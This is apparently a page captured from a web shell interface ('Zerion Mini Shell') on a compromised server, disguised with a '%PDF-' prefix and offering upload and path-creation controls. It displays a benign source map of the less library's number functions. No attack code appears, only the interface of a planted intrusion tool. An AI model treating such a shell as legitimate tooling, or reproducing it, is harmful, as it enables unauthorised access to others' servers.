%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/specpages-backup/node_modules/less/lib/less/functions/
Upload File :
Create Path :
Current File : //www/specpages-backup/node_modules/less/lib/less/functions/number.js.map

{"version":3,"file":"number.js","sourceRoot":"","sources":["../../../src/less/functions/number.js"],"names":[],"mappings":";;;;;AAAA,gEAA0C;AAC1C,gEAA0C;AAC1C,oEAA0C;AAE1C,IAAM,MAAM,GAAG,UAAU,KAAK,EAAE,IAAI;IAChC,IAAI,GAAG,KAAK,CAAC,SAAS,CAAC,KAAK,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;IACxC,QAAQ,IAAI,CAAC,MAAM,EAAE;QACjB,KAAK,CAAC,CAAC,CAAC,MAAM,EAAE,IAAI,EAAE,UAAU,EAAE,OAAO,EAAE,gCAAgC,EAAE,CAAC;KACjF;IACD,IAAI,CAAC,CAAC,CAAC,2DAA2D;IAClE,IAAI,CAAC,CAAC;IACN,IAAI,OAAO,CAAC;IACZ,IAAI,cAAc,CAAC;IACnB,IAAI,gBAAgB,CAAC;IACrB,IAAI,IAAI,CAAC;IACT,IAAI,UAAU,CAAC;IACf,IAAI,SAAS,CAAC;IAEd,IAAM,gDAAgD;IAClD,KAAK,GAAI,EAAE,CAAC;IAEhB,IAAM,MAAM,GAAG,EAAE,CAAC;IAClB,2CAA2C;IAC3C,KAAK,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,IAAI,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE;QAC9B,OAAO,GAAG,IAAI,CAAC,CAAC,CAAC,CAAC;QAClB,IAAI,CAAC,CAAC,OAAO,YAAY,mBAAS,CAAC,EAAE;YACjC,IAAI,KAAK,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,EAAE;gBAC9B,KAAK,CAAC,SAAS,CAAC,IAAI,CAAC,KAAK,CAAC,IAAI,EAAE,KAAK,CAAC,SAAS,CAAC,KAAK,CAAC,IAAI,CAAC,IAAI,CAAC,CA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AAE,CAAC,CAAC,CAAC;QAEpD,OAAO,MAAM,CAAC;IAClB,CAAC;CACJ,CAAC","sourcesContent":["import Dimension from '../tree/dimension';\nimport Anonymous from '../tree/anonymous';\nimport mathHelper from './math-helper.js';\n\nconst minMax = function (isMin, args) {\n    args = Array.prototype.slice.call(args);\n    switch (args.length) {\n        case 0: throw { type: 'Argument', message: 'one or more arguments required' };\n    }\n    let i; // key is the unit.toString() for unified Dimension values,\n    let j;\n    let current;\n    let currentUnified;\n    let referenceUnified;\n    let unit;\n    let unitStatic;\n    let unitClone;\n\n    const // elems only contains original argument values.\n        order  = [];\n\n    const values = {};\n    // value is the index into the order array.\n    for (i = 0; i < args.length; i++) {\n        current = args[i];\n        if (!(current instanceof Dimension)) {\n            if (Array.isArray(args[i].value)) {\n                Array.prototype.push.apply(args, Array.prototype.slice.call(args[i].value));\n            }\n            continue;\n        }\n        currentUnified = current.unit.toString() === '' && unitClone !== undefined ? new Dimension(current.value, unitClone).unify() : current.unify();\n        unit = currentUnified.unit.toString() === '' && unitStatic !== undefined ? unitStatic : currentUnified.unit.toString();\n        unitStatic = unit !== '' && unitStatic === undefined || unit !== '' && order[0].unify().unit.toString() === '' ? unit : unitStatic;\n        unitClone = unit !== '' && unitClone === undefined ? current.unit.toString() : unitClone;\n        j = values[''] !== undefined && unit !== '' && unit === unitStatic ? values[''] : values[unit];\n        if (j === undefined) {\n            if (unitStatic !== undefined && unit !== unitStatic) {\n                throw { type: 'Argument', message: 'incompatible types' };\n            }\n            values[unit] = order.length;\n            order.push(current);\n            continue;\n        }\n        referenceUnified = order[j].unit.toString() === '' && unitClone !== undefined ? new Dimension(order[j].value, unitClone).unify() : order[j].unify();\n        if ( isMin && currentUnified.value < referenceUnified.value ||\n            !isMin && currentUnified.value > referenceUnified.value) {\n            order[j] = current;\n        }\n    }\n    if (order.length == 1) {\n        return order[0];\n    }\n    args = order.map(function (a) { return a.toCSS(this.context); }).join(this.context.compress ? ',' : ', ');\n    return new Anonymous(`${isMin ? 'min' : 'max'}(${args})`);\n};\n\nexport default {\n    min: function(...args) {\n        return minMax(true, args);\n    },\n    max: function(...args) {\n        return minMax(false, args);\n    },\n    convert: function (val, unit) {\n        return val.convertTo(unit.value);\n    },\n    pi: function () {\n        return new Dimension(Math.PI);\n    },\n    mod: function(a, b) {\n        return new Dimension(a.value % b.value, a.unit);\n    },\n    pow: function(x, y) {\n        if (typeof x === 'number' && typeof y === 'number') {\n            x = new Dimension(x);\n            y = new Dimension(y);\n        } else if (!(x instanceof Dimension) || !(y instanceof Dimension)) {\n            throw { type: 'Argument', message: 'arguments must be numbers' };\n        }\n\n        return new Dimension(Math.pow(x.value, y.value), x.unit);\n    },\n    percentage: function (n) {\n        const result = mathHelper(num => num * 100, '%', n);\n\n        return result;\n    }\n};\n"]}

Zerion Mini Shell 1.0